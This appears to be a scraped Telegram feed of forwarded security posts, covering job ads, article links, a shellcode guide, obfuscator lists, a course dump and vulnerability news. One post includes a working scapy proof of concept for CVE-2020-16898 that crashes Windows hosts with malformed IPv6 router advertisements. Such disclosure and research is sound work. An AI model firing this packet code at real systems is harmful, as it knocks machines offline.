Forwarded from Bo0oM
Пацаны, компания wallarm ищет пентестера веб-приложений на удалёнку.
https://forms.gle/pNDPpim76nS5W8xYA
Это мои старые друзья и я сам у них вырос.
https://forms.gle/pNDPpim76nS5W8xYA
Это мои старые друзья и я сам у них вырос.
Forwarded from CyberPeople
AITHEON is looking for Security QA Engineer / White Hat Hacker 🔐
🗺 #Kyiv, Ukraine
Do you like to build robots? Do you enjoy programming cool products and projects? Do you want to work with artificial intelligence and help develop AI? WE DO ALL OF THESE!
Help us make a difference in the world.
We believe that people create businesses to share their passions with the world. Unfortunately, today’s business model is laden with back-end processes that are time consuming, complicated and require multiple systems; each to complete a different task. Passion is quickly displaced by the demands of daily operations.
Aitheon’s mission is to eliminate drudgery and make running a business fun by integrating AI and Robotics in a user-friendly way. With your help businesses can become automated in a single, simple platform.
Requirements:
- Security Engineer (Sec) is responsible for implementing web application security testing tools in QA & code releases. The Sec Engineer owns all penetration testing, DAST, SAST, tracks identified vulnerabilities & provides resolutions. Working across Product, Hardware, QA, etc. the Aitheon Security Engineer reviews product requirements and performs risk assessments on planned application changes.
- This role requires a highly collaborative approach paired with excellent communication skills to balance trade-offs, push back, and even negotiation to get things done. In addition to the day to day security testing, the Security Engineer plays a critical role in incident response and participates in an on-call rotation. This is where you come in...
- Over the past 3+ years of industry experience, you have developed a broad range of security-related skills, gained exposure to diverse application security frameworks, tools and methodologies while working in startups to midsize B2B SaaS companies.
- Experience in developing applications using Angular 7 or higher, or NodeJS and MongoDB, or С++ or Python programming & exposure to Burp Suite or similar automated web application security testing tools is vital as these are the core components in our tech stack. You keep up to date with web application security concepts, AWS best practices, have a working knowledge of securing containerized, serverless environments such as EKS, Kubernetes, Docker.
Would be a plus:
- It’s a major plus if you have spent time participating in bug bounty, ethical hacking, or contributing to other security-related research activities.
- You are highly collaborative to bridge the gaps between Engineering, Product, Security and the rest of the business to create a secure and stable network. You can balance between builder & breaker. Curiosity, patience, proactiveness & a learner’s mindset are at the core of your approach to reducing the threat landscape.
We offer:
- Salary range depending on performance (we are covering all tax expenses)
- Develop innovative, future-driven products in AI and Robotics and opportunity to develop hardware
- Paid sick leaves and vacation (24 days on a year)
- Personal development and professional growth (paid 50% cost of classes, workshops, certification)
- Sport activities inhouse
- Paid lunches
- Cozy office with good infrastructure
- Work in a friendly, truly inclusive team with a family-like feel
- Minimal hierarchy and direct communication with management team
👉 Click here to apply
Please, send your CV with the note "From CyberPeople Telegram channel". Good luck!
🗺 #Kyiv, Ukraine
Do you like to build robots? Do you enjoy programming cool products and projects? Do you want to work with artificial intelligence and help develop AI? WE DO ALL OF THESE!
Help us make a difference in the world.
We believe that people create businesses to share their passions with the world. Unfortunately, today’s business model is laden with back-end processes that are time consuming, complicated and require multiple systems; each to complete a different task. Passion is quickly displaced by the demands of daily operations.
Aitheon’s mission is to eliminate drudgery and make running a business fun by integrating AI and Robotics in a user-friendly way. With your help businesses can become automated in a single, simple platform.
Requirements:
- Security Engineer (Sec) is responsible for implementing web application security testing tools in QA & code releases. The Sec Engineer owns all penetration testing, DAST, SAST, tracks identified vulnerabilities & provides resolutions. Working across Product, Hardware, QA, etc. the Aitheon Security Engineer reviews product requirements and performs risk assessments on planned application changes.
- This role requires a highly collaborative approach paired with excellent communication skills to balance trade-offs, push back, and even negotiation to get things done. In addition to the day to day security testing, the Security Engineer plays a critical role in incident response and participates in an on-call rotation. This is where you come in...
- Over the past 3+ years of industry experience, you have developed a broad range of security-related skills, gained exposure to diverse application security frameworks, tools and methodologies while working in startups to midsize B2B SaaS companies.
- Experience in developing applications using Angular 7 or higher, or NodeJS and MongoDB, or С++ or Python programming & exposure to Burp Suite or similar automated web application security testing tools is vital as these are the core components in our tech stack. You keep up to date with web application security concepts, AWS best practices, have a working knowledge of securing containerized, serverless environments such as EKS, Kubernetes, Docker.
Would be a plus:
- It’s a major plus if you have spent time participating in bug bounty, ethical hacking, or contributing to other security-related research activities.
- You are highly collaborative to bridge the gaps between Engineering, Product, Security and the rest of the business to create a secure and stable network. You can balance between builder & breaker. Curiosity, patience, proactiveness & a learner’s mindset are at the core of your approach to reducing the threat landscape.
We offer:
- Salary range depending on performance (we are covering all tax expenses)
- Develop innovative, future-driven products in AI and Robotics and opportunity to develop hardware
- Paid sick leaves and vacation (24 days on a year)
- Personal development and professional growth (paid 50% cost of classes, workshops, certification)
- Sport activities inhouse
- Paid lunches
- Cozy office with good infrastructure
- Work in a friendly, truly inclusive team with a family-like feel
- Minimal hierarchy and direct communication with management team
👉 Click here to apply
Please, send your CV with the note "From CyberPeople Telegram channel". Good luck!
ДОУ
Security QA Engineer / White Hat Hacker
Requirements: Security Engineer (Sec) is responsible for implementing web application security testing tools in QA & code releases. The Sec Engineer owns all penetration testing, DAST, SAST, tracks identified vulnerabilities & provides resolutions.
Forwarded from DC8044 F33d
В Украине объявили месячник добровольной сдачи кибероружия. Присылайте всю свою малварь в соответствующие организации, сдавайте.
https://www.rnbo.gov.ua/ua/Diialnist/4710.html
https://www.rnbo.gov.ua/ua/Diialnist/4710.html
Forwarded from Codeby
Бинарная эксплуатация: сложный путь
Я – новичок в области информационной безопасности, который хочет освоить ремесло поиска и эксплуатации уязвимостей в бинарных приложениях. Решил написать пару слов о том, как я планирую выстроить свой подход к обучению. Все написанное является лишь моим мнением и далеко не истинной в последней инстанции. Ввиду отсутствия опыта я не могу претендовать на какую-либо “экспертность”, если вас это не пугает и вам интересен свежий взгляд, то приятного чтения!
Читать статью; https://school.codeby.net/blog/15-binarnaya-ekspluatatsiya-slozhnyj-put.html
#binary
Я – новичок в области информационной безопасности, который хочет освоить ремесло поиска и эксплуатации уязвимостей в бинарных приложениях. Решил написать пару слов о том, как я планирую выстроить свой подход к обучению. Все написанное является лишь моим мнением и далеко не истинной в последней инстанции. Ввиду отсутствия опыта я не могу претендовать на какую-либо “экспертность”, если вас это не пугает и вам интересен свежий взгляд, то приятного чтения!
Читать статью; https://school.codeby.net/blog/15-binarnaya-ekspluatatsiya-slozhnyj-put.html
#binary
Forwarded from Order of Six Angles
Книга How Computers Really Work
Стала доступна для покупки только что (и для скачивания в моем канале)!
Официальная инфа
Скачать (PDF)
Стала доступна для покупки только что (и для скачивания в моем канале)!
Официальная инфа
Скачать (PDF)
Forwarded from vx-underground
Путь_от_проекта_на_Си_и_ассемблера,_к_шеллкоду.pdf
617.3 KB
Большое руководство для новичков по созданию шеллкодов на русском
[ПЕРЕВОД] Путь от проекта на Си и ассемблера, к шеллкоду
[ПЕРЕВОД] Путь от проекта на Си и ассемблера, к шеллкоду
Forwarded from Deleted Account
860 GB курсов. https://mega.nz/folder/ipkzVbxY#YmRFYvZeKEHl9SHz-eRQsQ
mega.nz
File folder on MEGA
Forwarded from Order of Six Angles
Список .NET обфускаторов
https://github.com/NotPrab/.NET-Obfuscator
Список .NET деобфускаторов
https://github.com/NotPrab/.NET-Deobfuscator
https://github.com/NotPrab/.NET-Obfuscator
Список .NET деобфускаторов
https://github.com/NotPrab/.NET-Deobfuscator
Forwarded from Order of Six Angles
sscc-2017-vivek-pm.pdf
677.8 KB
ASLR and ROP Attack Mitigations for ARM-Based Android Devices
Forwarded from Order of Six Angles
First Steps in Hyper-V Research от @AmarSaar
https://msrc-blog.microsoft.com/2018/12/10/first-steps-in-hyper-v-research
https://msrc-blog.microsoft.com/2018/12/10/first-steps-in-hyper-v-research
Forwarded from 44.WAV-E
"Чувак, эта вечеринка отстой.
Я, бля, ненавижу этих людей." (с) Фанат
Есть целая категория игр которые ты играешь "спинным мозгом", на одних рефлексах
Рекомендую Dead Cells && Hotline Miami (1|2)
А сейчас - музыка!
12.00 - ukr music
13.30 - dubstep
15.00 - dnb
15.30 - rap
17.00 - syntwave
20.00 - dj stuff
22.00 - KICKASS SPECIAL
####### bit.ly/44WAVE ########
Я, бля, ненавижу этих людей." (с) Фанат
Есть целая категория игр которые ты играешь "спинным мозгом", на одних рефлексах
Рекомендую Dead Cells && Hotline Miami (1|2)
А сейчас - музыка!
12.00 - ukr music
13.30 - dubstep
15.00 - dnb
15.30 - rap
17.00 - syntwave
20.00 - dj stuff
22.00 - KICKASS SPECIAL
####### bit.ly/44WAVE ########
Forwarded from Alexandr 🔆
This media is not supported in your browser
VIEW IN TELEGRAM
Forwarded from 🇺🇦x_Notes🇺🇦 🔜
🙂🙂
На mc.today вышла статья о мне и компании “Hacken”.
#hacken #pr #mctoday
https://mc.today/vzlamyvayu-adminki-na-zakaz-poluchayu-do-5-tys-kak-ya-stal-belym-hakerom/
На mc.today вышла статья о мне и компании “Hacken”.
#hacken #pr #mctoday
https://mc.today/vzlamyvayu-adminki-na-zakaz-poluchayu-do-5-tys-kak-ya-stal-belym-hakerom/
MC.today, Media for Creators
Взламываю «админки» на заказ, получаю до $5 тыс. Как я стал «белым хакером»
Сергей Харюк работает «белым хакером» в Hacken.io. Вместе с командой они имитируют атаки киберпреступников. Так они выясняют, где в системах компаний слабые места и как их защитить.
Forwarded from TechMaker
Вже скоро у продажу наш сніфер для аналізу та реверсу CANbus автомобілів, мотоциклів, UAV та інших пристроїв.
Особливості:
- одночасний аналіз двох CAN шин через єдиний type-C usb.
- сумісний з усіма існуючими open-source інструментами, нативно підтримується ядром Linux.
- має вдосталь потужності для реалізації власних сценаріїв прямо в мізках сніфера
- інтегровані термінатори (резистори між CANH-CANL) CAN шини. Два перемикачі двозволяють підключити їх до двох шин окремо, у разі необхідності
Особливості:
- одночасний аналіз двох CAN шин через єдиний type-C usb.
- сумісний з усіма існуючими open-source інструментами, нативно підтримується ядром Linux.
- має вдосталь потужності для реалізації власних сценаріїв прямо в мізках сніфера
- інтегровані термінатори (резистори між CANH-CANL) CAN шини. Два перемикачі двозволяють підключити їх до двох шин окремо, у разі необхідності
Forwarded from Noise Security Bit (AM)
CVE-2020-16898 – Exploiting RCE "Bad Neighbor" vulnerability
https://blog.quarkslab.com/beware-the-bad-neighbor-analysis-and-poc-of-the-windows-ipv6-router-advertisement-vulnerability-cve-2020-16898.html
http://blog.pi3.com.pl/?p=780
BSOD exploit for CVE-2020-16898 - Windows TCP/IP Remote Code Execution Vulnerability
https://blog.quarkslab.com/beware-the-bad-neighbor-analysis-and-poc-of-the-windows-ipv6-router-advertisement-vulnerability-cve-2020-16898.html
http://blog.pi3.com.pl/?p=780
BSOD exploit for CVE-2020-16898 - Windows TCP/IP Remote Code Execution Vulnerability
from scapy.all import *
v6_dst = "fd12:db80:b052:0:7ca6:e06e:acc1:481b"
v6_src = "fe80::24f5:a2ff:fe30:8890"
p_test_half = 'A'.encode()*8 + b"\x18\x30" + b"\xFF\x18"
p_test = p_test_half + 'A'.encode()*4
c = ICMPv6NDOptEFA();
e = ICMPv6NDOptRDNSS()
e.len = 21
e.dns = [
"AAAA:AAAA:AAAA:AAAA:FFFF:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA" ]
pkt = ICMPv6ND_RA() / ICMPv6NDOptRDNSS(len=8) / \
Raw(load='A'.encode()*16*2 + p_test_half + b"\x18\xa0"*6) / c / e / c / e / c / e / c / e / c / e / e / e / e / e / e / e
p_test_frag = IPv6(dst=v6_dst, src=v6_src, hlim=255)/ \
IPv6ExtHdrFragment()/pkt
l=fragment6(p_test_frag, 200)
for p in l:
send(p)
Quarkslab
Beware the Bad Neighbor: Analysis and PoC of the Windows IPv6 Router Advertisement Vulnerability (CVE-2020-16898) - Quarkslab's…
This blog post analyzes the vulnerability known as "Bad Neighbor" or CVE-2020-16898, a stack-based buffer overflow in the IPv6 stack of Windows, which can be remotely triggered by means of a malformed Router Advertisement packet.
Forwarded from Noise Security Bit (AM)
Найдено несколько уязвимостей в Jitsi Meet:
- Arbitrary Client Remote Code Execution (CVE-2020-27162)
- Limited Certificate Validation Bypass (CVE-2020-27161)
https://research.nccgroup.com/2020/10/23/technical-advisory-jitsi-meet-electron-arbitrary-client-remote-code-execution-cve-2020-27162/
- Arbitrary Client Remote Code Execution (CVE-2020-27162)
- Limited Certificate Validation Bypass (CVE-2020-27161)
https://research.nccgroup.com/2020/10/23/technical-advisory-jitsi-meet-electron-arbitrary-client-remote-code-execution-cve-2020-27162/
Nccgroup
Cyber Security Research
Cutting-edge cyber security research from NCC Group. Find public reports, technical advisories, analyses, & other novel insights from our global experts.